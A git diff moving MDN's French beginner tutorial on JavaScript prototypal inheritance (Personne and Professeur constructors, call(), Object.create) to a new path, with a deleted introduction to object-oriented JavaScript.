    A présent, si vous sauvegardez et rafraichissez après avoir écrit Professeur.prototype.constructor, cela devrait retourner Professeur(), et en plus nous héritons maintenant de Personne() !

    -
    5. -
- -

Donner au prototype de Professeur() une nouvelle fonction saluer()

- -

Pour terminer notre code, nous devons définir une nouvelle fonction saluer() sur le constructeur de Professeur().

- -

La façon la plus facile d'accomplir cela est de la définir sur le prototype de Professeur() — ajoutez ceci à la suite de votre code :

- -
Professeur.prototype.saluer = function() {
-  var prefix;
-
-  if (this.genre === 'mâle' || this.genre === 'Mâle' || this.genre === 'm' || this.genre === 'M') {
-    prefix = 'M.';
-  } else if (this.genre === 'femelle' || this.genre === 'Femelle' || this.genre === 'f' || this.genre === 'F') {
-    prefix = 'Mme';
-  } else {
-    prefix = '';
-  }
-
-  alert('Bonjour. Mon nom est ' + prefix + ' ' + this.nom_complet.nom + ', et j\'enseigne ' + this.matiere + '.');
-};
- -

Ceci affiche la salutation du professeur, qui utilise le titre de civilité approprié à son genre, au moyen d'une instruction conditionnelle.

- -

 

- -

Exécuter l'exemple

- -

Une fois tout le code saisi, essayez de créer une instance d'objet Professeur() en ajoutant à la fin de votre JavaScript (ou à l'endroit de votre choix) :

- -
var professeur1 = new Professeur('Cédric', 'Villani', 44, 'm', ['football', 'cuisine'], 'les mathématiques');
- -

Sauvegardez et actualisez, et essayez d'accéder aux propriétés et méthodes de votre nouvel objet professeur1, par exemple :

- -
professeur1.nom_complet.nom;
-professeur1.interets[0];
-professeur1.bio();
-professeur1.matiere;
-professeur1.saluer();Ffa
- -

Tout cela devrait parfaitement fonctionner. Les instructions des lignes 1,2,3  et 6 accèdent à des membres hérités de la classe générique Personne() via son constructeur, tandis que la ligne 4 accède de façon plus spécifique à un membre qui n'est disponible que via le constructeur de la classe spécialisée Professeur().

- -

Note: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre version finalisée (Ou regarder tourner notre demo en ligne).

- -

La méthode que nous avons détaillée ici n'est pas la seule permettant de mettre en place l'héritage de classes en JavaScript, mais elle fonctionne parfaitement et elle vous permet d'avoir une bonne idée de comment implémenter l'héritage en JavaScript.

- -

Vous pourriez également être intéressé par certaines des nouvelles fonctionnalités de {{glossary("ECMAScript")}} qui nous permettent de mettre en place l'héritage d'une façon beaucoup plus élégante en JavaScript (Voir Classes). Nous ne les avons pas développées ici parce qu'elles ne sont actuellement pas supportées par tous les navigateurs. Toutes les autres constructions dont nous avons discuté dans cette série d'articles sont supportées par IE9 et les versions moins récentes et il existe des méthodes qui prennent plus en  charge les navigateurs moins récents.

- -

Un moyen habituel est d'utiliser les librairies JavaScript — La plupart des options populaires ont une sélection de fonctionnalités disponibles pour réaliser l'héritage plus facilement et plus rapidement.

- -

CoffeeScript par exemple fournit les fonctionnalités class, extends, etc.

- -

Un exercice plus complexe.

- -

Dans notre section sur la programmation orientée objet nous avons également inclus  une classe Etudiant comme un concept qui hérite de toutes les fonctionnalités de la classe Personne, et qui a également une méthode saluer() differente de celle de Personne qui est beaucoup moins formelle que la méthode saluer() de Professeur(). Jetez un oeil à ce à quoi ressemble la méthode saluer() de la classe Etudiant dans cette section et essayez d'implémenter votre propre constructeur Etudiant() qui hérite de toutes les fonctionnalités de Personne() et la fonction saluer() différente.

- -

Note: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre version finalisée (Ou regarder tourner notre demo en ligne).

- -

Résumé sur les membres de l'Objet

- -

Pour résumer, vous avez de façon basique trois types de propriétés/méthodes à prendre en compte :

- -
    -
  1. Celles définies au sein d'un constructeur et passées en paramètres aux instances de l'objet. Celles là ne sont pas difficiles à repérer — Dans votre propre code personnalisé, elles sont les membres définis en utilisant les lignes comme this.x = x ; Dans les codes préconstruits propres aux navigateurs, ils sont les membres seulement accessibles aux instances d'objet (usuellement créés en appelant un constructeur via l'utilisation du mot clé new, exemple : var myInstance = new myConstructor()).
    2. -
  2. Celles définies directement sur les constructeurs eux mêmes et accessibles uniquement sur les constructeurs. Celles là sont communément présentes uniquement dans les objets préconstruits des navigateurs et sont reconnus par le fait d'être directement chaînées sur un constructeur et non sur une instance. Par exemple, Object.keys().
    3. -
  3. Celles définies sur un prototype de constructeur qui sont héritées par toutes les instances des classes d'objet. Celles là incluent n'importe quel membre défini sur un prototype de constructeur, exemple : myConstructor.prototype.x().
    4. -
- -

Si vous êtes encore dans la confusion par rapport aux différents types ne vous inquiétez pas c'est normal — vous êtes encore entrain d'apprendre et la familiarité apparaîtra avec la pratique.

- -

Quand devez-vous utiliser  l'héritage en JavaScript?

- -

Particulièrement après ce dernier article, vous pourriez penser "woa c'est compliqué". Bien, vous avez vu juste, prototypes et héritages représentent une partie des aspects les plus complexes de JavaScript, mais une bonne partie de la puissance et de la flexibilité de JavaScript vient de sa structure Objet et de l'héritage et il est vraiment très important de comprendre comment cela fonctionne. 

- -

D'une certaine manière, vous utilisez l'héritage à plein temps — Que vous utilisiez différentes fonctionnalités d'une WebAPI , ou une méthode/propriété définie par défaut  sur un objet prédéfini du navigateur que vous invoquez sur vos chaînes de caractères, tableaux etc., vous utilisez de façon implicite l'héritage. 

- -

En termes d'utilisation de l'héritage dans votre propre code, vous ne l'utiliserez probablement pas si souvent et spécialement pour débuter avec, et dans les petits projets — C'est une perte de temps d'utiliser les objets et l'héritage par amour pour cette pratique quand vous n'en avez pas besoin. Mais à mesure que les bases de votre code s'élargissent vous trouverez cette façon de faire probablement très utile. Si vous trouvez utile et plus pratique de commencer en créant un certain nombre d'objets spécialisés partageant les mêmes fonctionnalités, alors créer un objet générique qui contiendra toutes les fonctionnalités communes dont les objets spécialisés hériteront vous apparaîtra être une pratique peut être plus confortable et efficace par la suite. 

- -

Note: A cause de la manière dont JavaScript fonctionne, avec la chaîne de prototype, etc., le partage de fonctionnalités entre objet est souvent appelée délégation — Les objets spécialisés délèguent cette fonctionnalité à l'objet de type générique. C'est certainement beaucoup plus précis que de l'appeler héritage, puisque la fonctionnalité "héritée" n'est pas copiée dans les objets qui "héritent". Au contraire, elle demeure dans l'objet générique.

- -

Lorsque vous utilisez l'héritage, il est conseillé de ne pas avoir trop de degrés d'héritage et de toujours garder minutieusement trace de l'endroit où vous définissez vos propriétés et méthodes. Il est possible de commencer à écrire un code qui modifie temporairement les prototypes des objets prédéfinis du navigateur mais vous ne devriez pas le faire à moins que n'ayiez une très bonne raison. Trop de degrés d'héritages peut conduire à une confusion sans fin et une peine sans fin quand vous essayez de déboguer un tel code. 

- -

En définitive, les objets sont juste une autre forme de réutilisation de code comme les fonctions et les boucles avec leurs propres rôles et avantages. Si vous trouvez utile de créer un lot de variables et fonctions relatives et que vous voulez les retracer ensemble et les empaqueter de façon ordonnée, un objet est une bonne idée. Les objets sont également très utiles quand vous souhaitez passer une collection de données d'un endroit à un autre. Toutes ces choses peuvent être accomplies sans l'utilisation d'un constructeur ou de l'héritage. Si vous n'avez besoin que d'une seule instance, l'utilisation d'un simple objet littéral serait certainement un choix beaucoup plus judicieux et vous n'avez certainement pas besoin de l'héritage.

- -

Résumé

- -

Cet article a couvert le reste du coeur de la théorie du JSOO et des syntaxes que nous pensons que vous devriez connaître maintenant. A cet stade vous devriez comprendre l'objet JavaScript et les bases de la POO, les prototypes et l'héritage par prototype, comment créer les classes (constructeurs) et les instances d'objet, ajouter des fonctionnalités aux classes, et créer des sous classes qui héritent d'autres classes. 

- -

Dans le prochain article, nous jetterons un regard sur comment travailler avec le (JSON),  un format commun d'échange de données écrit en utilisant les objets JavaScript.

- -

Voir aussi

- -
    -
  • ObjectPlayground.com — Un site interactif d'appentissage très utile pour en savoir plus sur les Objets.
    • -
  • Secrets of the JavaScript Ninja, Chapitre 6 — Un bon livre sur les concepts et techniques avancées du JavaScript par John Resig et Bear Bibeault. Le chapitre 6 couvre très bien les divers aspects des prototypes et de l'héritage ; vous trouverez sûrement facilement une version imprimée ou une version en ligne.
    • -
  • You Don't Know JS: this & Object Prototypes — Une partie de l'excellente série de manuels sur le JavaScript de Kyle Simpson. Le chapitre 5 en particulier jette un regard beaucoup plus approfondi sur les prototypes que nous ne l'avons fait ici. Nous avons présenté ici une vue simplifiée dans cette série d'articles dédiée aux débutants tandis que Kyle est allé dans les détails les plus profonds et fournit une image beaucoup plus complexe et plus précise.
    • -
- -

{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}

- -

 

- -

Dans ce module

- - - -

 

-
- -

 

diff --git a/files/fr/learn/javascript/objects/inheritance/index.html b/files/fr/learn/javascript/objects/inheritance/index.html new file mode 100644 index 0000000000..9359b6f4ee --- /dev/null +++ b/files/fr/learn/javascript/objects/inheritance/index.html @@ -0,0 +1,260 @@ +--- +title: L'héritage au sein de JavaScript +slug: Learn/JavaScript/Objects/Heritage +tags: + - Apprendre + - Article + - Débutant + - Héritage + - JS Orienté Objet + - JavaScript + - Objet + - Programmation orientée objet + - Prototype +translation_of: Learn/JavaScript/Objects/Inheritance +--- +
+

{{LearnSidebar}}

+ +

{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}

+ +

Les présentations ayant été faites pour les concepts du JavaScript orienté objet, cet article détaille comment il est possible de créer une classe fille qui hérite des propriétés de sa classe mère. Nous verrons ensuite quelques conseils quant à l'utilisation du JavaScript orienté objet.

+ + + + + + + + + + + + +
Pré-requis :Une connaissance générale de l'informatique, des notions d'HTML et CSS, une connaissance des bases en JavaScript (voir Premiers pas et Blocs de construction) ainsi que des notions de JavaScript orienté objet (JSOO) (voir Introduction aux objets).
Objectif :Comprendre comment implémenter l'héritage en JavaScript.
+ +

Héritage prototypique

+ +

Nous avons déjà vu le concept d'héritage en action, nous avons vu comment la chaîne de prototypage fonctionnait, et comment les propriétés de cette chaîne sont lues de manière ascendante. En revanche,nous n'avons utilisé pratiquement que quelques fonctionnalités déjà intégrées dans le navigateur pour le faire. Comment créer un objet JavaScript qui hérite d'un autre objet ?

+ +

Certains pensent que JavaScript n'est pas un véritable langage orienté objet. Dans les langages orientés objets classiques, on définit des classes objet et on peut ensuite définir laquelle hérite d'une autre (voir C++ inheritance en anglais pour des exemples simples). JavasScript utilise une approche différente : les objets héritant d'un autre n'ont pas de fonctionnalités copiées d'un autre objet, au lieu de ça, ils héritent des fonctionnalités via les liens de la chaîne de prototypage (on parle alors d'un héritage prototypique).

+ +

Voyons comment cela se passe avec un exemple concret.

+ +

Pour commencer

+ +

Tout d'abord, faites une copie du fichier oojs-class-inheritance-start.html (voir la démo). Vous y trouverez le constructeur Personne() que nous avons utilisé jusque là dans l'ensemble des modules, néanmoins il y a un léger changement : nous n'avons défini que les attributs au sein du constructeur.

+ +
function Personne(prenom, nom, age, genre, interets) {
+  this.nom = {
+    prenom,
+    nom
+  };
+  this.age = age;
+  this.genre = genre;
+  this.interets = interets;
+};
+ +

L'ensemble des méthodes est défini dans le prototype :

+ +
Personne.prototype.saluer = function() {
+  alert('Salut! Je suis ' + this.nom.prenom + '.');
+};
+ +

Essayons de créer une classe Professeur similaire à celle que nous avons utilisée jusqu'ici dans les autres modules d'initiations à l'approche objet. Ainsi, cette classe hérite de Personne mais possède aussi :

+ +
    +
  1. Un nouvel attribut matière — qui contiendra la matière que le professeur enseigne.
    2. +
  2. Une méthode saluer un peu plus élaborée, qui sera un peu plus formelle que la méthode de base, cela sera plus approprié, lorsque le professeur s'adrressera à des étudiants, par exemple.
    3. +
+ +

Définissons le constructeur Professeur()

+ +

La première chose à faire est de créer le constructeur Professeur() via l'ajout du code suivant :

+ +
function Professeur(prenom, nom, age, genre, interets, matiere) {
+  Personne.call(this, prenom, nom, age, genre, interets);
+
+  this.matiere = matiere;
+}
+ +

Cela ressemble beaucoup au constructeur Personne mais il y a quelque chose que nous n'avons pas encore vu : la fonction call(). Cette fonction permet d'appeler une fonction définie ailleurs dans le contexte actuel. Le premier paramètre spécifie la valeur de this que l'on souhaite utiliser lors que l'on utilisera la fonction, les paramètres suivants seront les paramètres qui pourront être passés en arguments lorsqu'elle sera appelée.

+ +

Nous voulons que le constructeur Professeur() aie les mêmes attributs que Personne(), nous les spécifions donc dans l'appel fait via la fonction call().

+ +

La dernière ligne au sein du constructeur sert simplement à définir l'attribut matière que les professeurs enseignent, ce qui n'est pas valable pour les personnes génériques.

+ +

Notez que nous aurions très bien pu écrire tout simplement ceci :

+ +
function Professeur(prenom, nom, age, genre, interets, matiere) {
+  this.nom_complet = {
+    prenom,
+    nom
+  };
+  this.age = age;
+  this.genre = genre;
+  this.interets = interets;
+  this.matiere = matiere;
+}
+ +

Cependant cela aurait eu pour effet de redéfinir les attributs à nouveau, sans les hériter de Personne(), ce qui n'est pas vraiment le but que nous voulons atteindre lorsque l'on parle de l'héritage, cela rajoute aussi des lignes de code inutiles.

+ +

 

+ +

Hériter d'un constructeur sans paramètres

+ +

Notez que si les valeurs des propriétés du constructeur dont vous héritez ne proviennent pas de paramètres, vous n'avez nullement besoin de les specifier comme arguments additionnels dans l'appel de la fonction call(). Donc, par exemple, si vous avez quelque chose d'aussi simple que ceci :

+ +
function Brick() {
+  this.width = 10;
+  this.height = 20;
+}
+ +

Vous pouvez hériter des propriétés width et height en procédant comme ceci (Mais  également en suivant bien sûr les différentes étapes décrites ci dessous) :

+ +
function BlueGlassBrick() {
+  Brick.call(this);
+
+  this.opacity = 0.5;
+  this.color = 'blue';
+}
+ +

Notez que nous n'avons spécifié que this au sein de call() — Aucun autre paramètre n'est requis puisque nous n'héritons ici d'aucune propriété provenant de la classe parente qui soit spécifiée via paramètres.  

+ +

Définir le prototype de Professeur() et son constructeur référent.

+ +

Pour le moment tout va bien, mais nous avons un petit problème. Nous avons défini un  nouveau constructeur et ce dernier possède une propriété prototype, qui par défaut ne contient qu'une référence à la fonction constructrice elle même. En revanche il ne contient pas les méthodes de la propriété prototype du constructeur Personne(). Pour le constater, vous pouvez par exemple entrer Professeur.prototype.constructor dans la console JavaScript pour voir ce qu'il en est. Le nouveau constructeur n'a en aucun cas hérité de ces méthodes. Pour le constater, comparez les sorties de Personne.prototype.saluer et de Professeur.prototype.saluer

+ +

Notre classe Professeur() doit hériter des méthodes définies dans le prototype de Personne(). Aussi comment procéder pour obtenir ce résultat ?

+ +

Ajoutez la ligne suivante à la suite du bloc de code que nous venons d'ajouter :

+ +
Professeur.prototype = Object.create(Personne.prototype);
+ +
    +
  1. Ici, notre ami create() vient nous aider à nouveau. Dans ce cas, on l'utilise afin de créer un nouvel objet que nous assignons à Professeur.prototype. Le nouvel objet possède Personne.prototype désormais comme son prototype et héritera ainsi, si et quand le besoin se fera sentir, de toutes les méthodes disponible sur Personne.prototype. 
    2. +
  2. Nous avons également besoin de faire encore une chose avant de continuer. Après avoir ajouté la ligne précédente, le constructeur du prototype de Professeur() est désormais équivalent à celui de Personne(), parce que nous avons défini Professeur.prototype pour référencer un objet qui hérite ses propriétés de  Personne.prototype ! Essayez, après avoir sauvegardé votre code et rechargé la page, d'entrer Professeur.prototype.constructor dans la console pour vérifier.
    3. +
  3. Cela peut devenir problématique, autant le corriger dès maintenant. C'est possible via l'ajout de la ligne de code suivante à la fin : + 
    Professeur.prototype.constructor = Professeur;
    +
    4. +
  4. +

    A présent, si vous sauvegardez et rafraichissez après avoir écrit Professeur.prototype.constructor, cela devrait retourner Professeur(), et en plus nous héritons maintenant de Personne() !

    +
    5. +
+ +

Donner au prototype de Professeur() une nouvelle fonction saluer()

+ +

Pour terminer notre code, nous devons définir une nouvelle fonction saluer() sur le constructeur de Professeur().

+ +

La façon la plus facile d'accomplir cela est de la définir sur le prototype de Professeur() — ajoutez ceci à la suite de votre code :

+ +
Professeur.prototype.saluer = function() {
+  var prefix;
+
+  if (this.genre === 'mâle' || this.genre === 'Mâle' || this.genre === 'm' || this.genre === 'M') {
+    prefix = 'M.';
+  } else if (this.genre === 'femelle' || this.genre === 'Femelle' || this.genre === 'f' || this.genre === 'F') {
+    prefix = 'Mme';
+  } else {
+    prefix = '';
+  }
+
+  alert('Bonjour. Mon nom est ' + prefix + ' ' + this.nom_complet.nom + ', et j\'enseigne ' + this.matiere + '.');
+};
+ +

Ceci affiche la salutation du professeur, qui utilise le titre de civilité approprié à son genre, au moyen d'une instruction conditionnelle.

+ +

 

+ +

Exécuter l'exemple

+ +

Une fois tout le code saisi, essayez de créer une instance d'objet Professeur() en ajoutant à la fin de votre JavaScript (ou à l'endroit de votre choix) :

+ +
var professeur1 = new Professeur('Cédric', 'Villani', 44, 'm', ['football', 'cuisine'], 'les mathématiques');
+ +

Sauvegardez et actualisez, et essayez d'accéder aux propriétés et méthodes de votre nouvel objet professeur1, par exemple :

+ +
professeur1.nom_complet.nom;
+professeur1.interets[0];
+professeur1.bio();
+professeur1.matiere;
+professeur1.saluer();Ffa
+ +

Tout cela devrait parfaitement fonctionner. Les instructions des lignes 1,2,3  et 6 accèdent à des membres hérités de la classe générique Personne() via son constructeur, tandis que la ligne 4 accède de façon plus spécifique à un membre qui n'est disponible que via le constructeur de la classe spécialisée Professeur().

+ +

Note: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre version finalisée (Ou regarder tourner notre demo en ligne).

+ +

La méthode que nous avons détaillée ici n'est pas la seule permettant de mettre en place l'héritage de classes en JavaScript, mais elle fonctionne parfaitement et elle vous permet d'avoir une bonne idée de comment implémenter l'héritage en JavaScript.

+ +

Vous pourriez également être intéressé par certaines des nouvelles fonctionnalités de {{glossary("ECMAScript")}} qui nous permettent de mettre en place l'héritage d'une façon beaucoup plus élégante en JavaScript (Voir Classes). Nous ne les avons pas développées ici parce qu'elles ne sont actuellement pas supportées par tous les navigateurs. Toutes les autres constructions dont nous avons discuté dans cette série d'articles sont supportées par IE9 et les versions moins récentes et il existe des méthodes qui prennent plus en  charge les navigateurs moins récents.

+ +

Un moyen habituel est d'utiliser les librairies JavaScript — La plupart des options populaires ont une sélection de fonctionnalités disponibles pour réaliser l'héritage plus facilement et plus rapidement.

+ +

CoffeeScript par exemple fournit les fonctionnalités class, extends, etc.

+ +

Un exercice plus complexe.

+ +

Dans notre section sur la programmation orientée objet nous avons également inclus  une classe Etudiant comme un concept qui hérite de toutes les fonctionnalités de la classe Personne, et qui a également une méthode saluer() differente de celle de Personne qui est beaucoup moins formelle que la méthode saluer() de Professeur(). Jetez un oeil à ce à quoi ressemble la méthode saluer() de la classe Etudiant dans cette section et essayez d'implémenter votre propre constructeur Etudiant() qui hérite de toutes les fonctionnalités de Personne() et la fonction saluer() différente.

+ +

Note: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre version finalisée (Ou regarder tourner notre demo en ligne).

+ +

Résumé sur les membres de l'Objet

+ +

Pour résumer, vous avez de façon basique trois types de propriétés/méthodes à prendre en compte :

+ +
    +
  1. Celles définies au sein d'un constructeur et passées en paramètres aux instances de l'objet. Celles là ne sont pas difficiles à repérer — Dans votre propre code personnalisé, elles sont les membres définis en utilisant les lignes comme this.x = x ; Dans les codes préconstruits propres aux navigateurs, ils sont les membres seulement accessibles aux instances d'objet (usuellement créés en appelant un constructeur via l'utilisation du mot clé new, exemple : var myInstance = new myConstructor()).
    2. +
  2. Celles définies directement sur les constructeurs eux mêmes et accessibles uniquement sur les constructeurs. Celles là sont communément présentes uniquement dans les objets préconstruits des navigateurs et sont reconnus par le fait d'être directement chaînées sur un constructeur et non sur une instance. Par exemple, Object.keys().
    3. +
  3. Celles définies sur un prototype de constructeur qui sont héritées par toutes les instances des classes d'objet. Celles là incluent n'importe quel membre défini sur un prototype de constructeur, exemple : myConstructor.prototype.x().
    4. +
+ +

Si vous êtes encore dans la confusion par rapport aux différents types ne vous inquiétez pas c'est normal — vous êtes encore entrain d'apprendre et la familiarité apparaîtra avec la pratique.

+ +

Quand devez-vous utiliser  l'héritage en JavaScript?

+ +

Particulièrement après ce dernier article, vous pourriez penser "woa c'est compliqué". Bien, vous avez vu juste, prototypes et héritages représentent une partie des aspects les plus complexes de JavaScript, mais une bonne partie de la puissance et de la flexibilité de JavaScript vient de sa structure Objet et de l'héritage et il est vraiment très important de comprendre comment cela fonctionne. 

+ +

D'une certaine manière, vous utilisez l'héritage à plein temps — Que vous utilisiez différentes fonctionnalités d'une WebAPI , ou une méthode/propriété définie par défaut  sur un objet prédéfini du navigateur que vous invoquez sur vos chaînes de caractères, tableaux etc., vous utilisez de façon implicite l'héritage. 

+ +

En termes d'utilisation de l'héritage dans votre propre code, vous ne l'utiliserez probablement pas si souvent et spécialement pour débuter avec, et dans les petits projets — C'est une perte de temps d'utiliser les objets et l'héritage par amour pour cette pratique quand vous n'en avez pas besoin. Mais à mesure que les bases de votre code s'élargissent vous trouverez cette façon de faire probablement très utile. Si vous trouvez utile et plus pratique de commencer en créant un certain nombre d'objets spécialisés partageant les mêmes fonctionnalités, alors créer un objet générique qui contiendra toutes les fonctionnalités communes dont les objets spécialisés hériteront vous apparaîtra être une pratique peut être plus confortable et efficace par la suite. 

+ +

Note: A cause de la manière dont JavaScript fonctionne, avec la chaîne de prototype, etc., le partage de fonctionnalités entre objet est souvent appelée délégation — Les objets spécialisés délèguent cette fonctionnalité à l'objet de type générique. C'est certainement beaucoup plus précis que de l'appeler héritage, puisque la fonctionnalité "héritée" n'est pas copiée dans les objets qui "héritent". Au contraire, elle demeure dans l'objet générique.

+ +

Lorsque vous utilisez l'héritage, il est conseillé de ne pas avoir trop de degrés d'héritage et de toujours garder minutieusement trace de l'endroit où vous définissez vos propriétés et méthodes. Il est possible de commencer à écrire un code qui modifie temporairement les prototypes des objets prédéfinis du navigateur mais vous ne devriez pas le faire à moins que n'ayiez une très bonne raison. Trop de degrés d'héritages peut conduire à une confusion sans fin et une peine sans fin quand vous essayez de déboguer un tel code. 

+ +

En définitive, les objets sont juste une autre forme de réutilisation de code comme les fonctions et les boucles avec leurs propres rôles et avantages. Si vous trouvez utile de créer un lot de variables et fonctions relatives et que vous voulez les retracer ensemble et les empaqueter de façon ordonnée, un objet est une bonne idée. Les objets sont également très utiles quand vous souhaitez passer une collection de données d'un endroit à un autre. Toutes ces choses peuvent être accomplies sans l'utilisation d'un constructeur ou de l'héritage. Si vous n'avez besoin que d'une seule instance, l'utilisation d'un simple objet littéral serait certainement un choix beaucoup plus judicieux et vous n'avez certainement pas besoin de l'héritage.

+ +

Résumé

+ +

Cet article a couvert le reste du coeur de la théorie du JSOO et des syntaxes que nous pensons que vous devriez connaître maintenant. A cet stade vous devriez comprendre l'objet JavaScript et les bases de la POO, les prototypes et l'héritage par prototype, comment créer les classes (constructeurs) et les instances d'objet, ajouter des fonctionnalités aux classes, et créer des sous classes qui héritent d'autres classes. 

+ +

Dans le prochain article, nous jetterons un regard sur comment travailler avec le (JSON),  un format commun d'échange de données écrit en utilisant les objets JavaScript.

+ +

Voir aussi

+ +
    +
  • ObjectPlayground.com — Un site interactif d'appentissage très utile pour en savoir plus sur les Objets.
    • +
  • Secrets of the JavaScript Ninja, Chapitre 6 — Un bon livre sur les concepts et techniques avancées du JavaScript par John Resig et Bear Bibeault. Le chapitre 6 couvre très bien les divers aspects des prototypes et de l'héritage ; vous trouverez sûrement facilement une version imprimée ou une version en ligne.
    • +
  • You Don't Know JS: this & Object Prototypes — Une partie de l'excellente série de manuels sur le JavaScript de Kyle Simpson. Le chapitre 5 en particulier jette un regard beaucoup plus approfondi sur les prototypes que nous ne l'avons fait ici. Nous avons présenté ici une vue simplifiée dans cette série d'articles dédiée aux débutants tandis que Kyle est allé dans les détails les plus profonds et fournit une image beaucoup plus complexe et plus précise.
    • +
+ +

{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}

+ +

 

+ +

Dans ce module

+ + + +

 

+
+ +

 

diff --git "a/files/fr/learn/javascript/objects/js_orient\303\251-objet/index.html" "b/files/fr/learn/javascript/objects/js_orient\303\251-objet/index.html" deleted file mode 100644 index c16e9a230e..0000000000 --- "a/files/fr/learn/javascript/objects/js_orient\303\251-objet/index.html" +++ /dev/null @@ -1,278 +0,0 @@ ---- -title: Le JavaScript orienté objet pour débutants -slug: Learn/JavaScript/Objects/JS_orienté-objet -tags: - - Apprendre - - Débutant - - Guide - - JavaScript - - OOJS - - OOP - - POO -translation_of: Learn/JavaScript/Objects/Object-oriented_JS ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}
- -

Après avoir parcouru les fondamentaux, nous allons aborder en détail le JavaScript orienté objet (JSOO). Cet article présente une approche simple de la programmation orientée objet (POO) et détaille comment JavaScript émule des classes objet au travers des méthodes constructeur et comment instancier ces objets.

- - - - - - - - - - - - -
Pré-requis :Connaissances de base en informatique et compréhension des notions HTML et CSS, notions de JavaScript (voir Premiers pas et Blocs de construction)
Objectif :Comprendre les concepts de base derrière la programmation orientée objet et comment ils s'appliquent à JavaScript ( « tout est objet » ) et comment créer des constructeurs et instancier des objets.
- -

La programmation orientée objet de loin

- -

Pour commencer, donnons une vue simplifiée et de haut niveau de ce qu'est la programmation orientée objet (POO). On parle d'une vision simplifiée étant donnée que la POO peut devenir très vite complexe et qu'être exhaustif rendrait probablement la découverte plus confuse et difficile qu'autre chose. L'idée de base de la POO consiste à utiliser des objets pour modéliser les objets du monde réel que l'on souhaite représenter dans nos programmes et/ou de fournir un moyen simple d'accéder à une fonctionnalité qu'il serait difficile d'utiliser autrement.

- -

Les objets peuvent contenir des données et du code représentant de l'information au sujet de la chose que l'on essaie de modéliser ainsi que des fonctionnalités ou un comportement que l'on souhaite lui appliquer. Les données (et bien souvent les fonctions) associées à un objet peuvent être stockées (le terme officiel est encapsulé) à l'intérieur d'un paquet objet. Il est possible de donner un nom spécifique à un paquet objet afin  d'y faire référence, on parle alors d'espace de noms ou namespace, il sera ainsi plus facile de le manipuler et d'y accéder. Les objets peuvent aussi servir pour stocker des données et les transférer facilement sur un réseau.

- -

Définissons un modèle objet

- -

Nous allons voir un programme simple qui affiche des informations à propos des élèves et des professeurs d'une école. Nous allons aborder la théorie de la programmation orientée objet de manière générale sans l'appliquer à un langage particulier.

- -

Pour débuter, nous pouvons réutiliser l'objet Personne que nous avons créé dans notre premier article, il définit un ensemble de données et actions d'une personne. Il existe tout un tas de choses que nous pourrions savoir au sujet d'une personne (son adresse, sa taille, sa pointure, son ADN, son numéro de passeport, ses traits particuliers significatifs… ). En l'occurrence, nous souhaitons uniquement afficher son nom, son âge, ses passions, écrire une petite introduction à son sujet en utilisant ces données et lui apprendre à se présenter. On parle alors d'abstraction : créer un modèle simplifié de quelque chose de complexe mais qui ne contient que les aspects qui nous intéressent. Il sera alors plus simple de manipuler ce modèle objet simplifié dans le cadre de notre programme.

- -

Classe Personne avec attributs élémentaires

- -

Dans plusieurs langages de POO, la définition d'un objet est appelé une classe (comme on le verra ci-après, JavaScript se base sur un mécanisme et une terminologie différente). En réalité ce n'est pas vraiment un objet mais plutôt un modèle qui définit les propriétés que notre objet doit avoir.

- -

Créons des objets

- -

À partir de notre classe, nous pouvons créer des objets, on parle alors d'instancier des objets, une classe objet a alors une instance. Il s'agit d'objets qui contiennent les données et attributs définis dans une classe. À partir de notre classe Personne, nous pouvons modéliser des personnes réelles :

- -

Instantiation on a Personn Class for JS examples (fr)

- -

Lorsque l'instance d'un objet est créée, on appelle la fonction constructeur de la classe pour la créer. On parle d'instanciation d'un objet — l'objet ainsi créé est instancié à partir de la classe.

- -

Classes filles

- -

Pour notre exemple, nous n'allons pas nous contenter de personnes génériques — nous pourrions utiliser des professeurs, des étudiants, qui sont des types un peu plus spécifiques de personnes. En POO, il est possible de créer de nouvelles classes à partir d'autres classes — ces classes filles nouvellement créées peuvent hériter des propriétés et des attributs de leur classe mère. Il est donc possible d'avoir des attributs partagés à l'ensemble des classes plutôt que de les dupliquer. Si besoin, il est possible d'ajouter des fonctions et attributs spécifiques sur chaque classe fille.

- -

Inheritance principle with French text for JS example

- -

Cela s'avère très utile puisque les étudiants et les professeurs se ressemblent sur de nombreux aspects : ils ont un nom, un genre, un âge, il est donc utile de ne définir ces attributs qu'une seule fois. Il est aussi possible de redéfinir le même attribut dans différentes classes étant donné que l'attribut appartiendra à chaque fois à un nom d'espace différent. On pourra ainsi avoir différentes formes de salutations : « Hey, je m'appelle [prénom] » pour les étudiants ( « Hey je m'appelle Sam » ) tandis que les professeurs pourront dire quelque chose d'un peu plus formel comme « Bonjour, mon nom est [Titre][Nom] et j'enseigne [matière] » par exemple « Bonjour mon nom est M. Griffiths et j'enseigne la chimie ».

- -
-

Note : On parle de polymorphisme, lorsque des objets réutilisent la même propriété,  mais c'est juste pour info, vous embêtez pas.

-
- -

Une fois la classe fille créée il est alors possible de l'instancier et de créer des objets. Par exemple :

- -

Professor instantiation example for JS fr

- -

Dans la suite de l'article, nous nous intéresserons à la mise en œuvre de la programmation orientée objet (POO) au sein de JavaScript.

- -

Constructeurs et instances d'objet

- -

Certains disent que le JavaScript n'est pas vraiment un langage de programmation orienté objet — Il n'existe pas, en JavaScript d'élément class pour créer des classes alors que c'est le cas dans plusieurs langages orientés objet. JavaScript quant à lui, utilise des fonctions spéciales appelées constructeurs pour définir les objets et leurs propriétés. Ces constructeurs s'avèrent utiles, puisque bien souvent, nous ne savons pas combien d'objets nous allons définir, les constructeurs nous permettent de créer autant d'objets que nécessaire et d'y associer des données et des fonctions au fur et à mesure.

- -

